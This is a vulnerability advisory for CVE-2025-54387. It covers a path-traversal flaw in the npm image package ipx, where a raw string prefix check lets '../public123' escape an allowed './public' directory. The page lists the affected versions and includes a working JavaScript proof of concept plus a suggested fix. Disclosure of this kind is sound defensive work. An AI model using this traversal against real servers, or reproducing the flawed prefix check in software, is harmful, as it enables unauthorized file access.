CVE-2025-54387: IPX Allows Path Traversal via Prefix Matching Bypass
Summary The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. PoC - setup - main.js - node main.js Impact Path Traversal Possible Fix Check if the dir ends with / (path separator) and if not, add before calling startsWith
Published Aug 4, 2025 · Updated Aug 5, 2025
Affected packages
ipx
- Ecosystem
- npm
- Affected
- < 1.3.2
- Fixed in
- 1.3.2
- Check
npm ls ipx
ipx
- Ecosystem
- npm
- Affected
- >= 2.0.0-0, < 2.1.1
- Fixed in
- 2.1.1
- Check
npm ls ipx
ipx
- Ecosystem
- npm
- Affected
- >= 3.0.0, < 3.1.1
- Fixed in
- 3.1.1
- Check
npm ls ipx
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx main.js
import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()node main.js
png
Forbidden path: /../publi123/test.pngImpact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Credited to dellalibera.
References
- https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr
- https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214
- https://nvd.nist.gov/vuln/detail/CVE-2025-54387
- https://github.com/unjs/ipx/releases/tag/v1.3.2
- https://github.com/unjs/ipx/releases/tag/v2.1.1
- https://github.com/unjs/ipx/releases/tag/v3.1.1
- https://github.com/advisories/GHSA-mm3p-j368-7jcr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
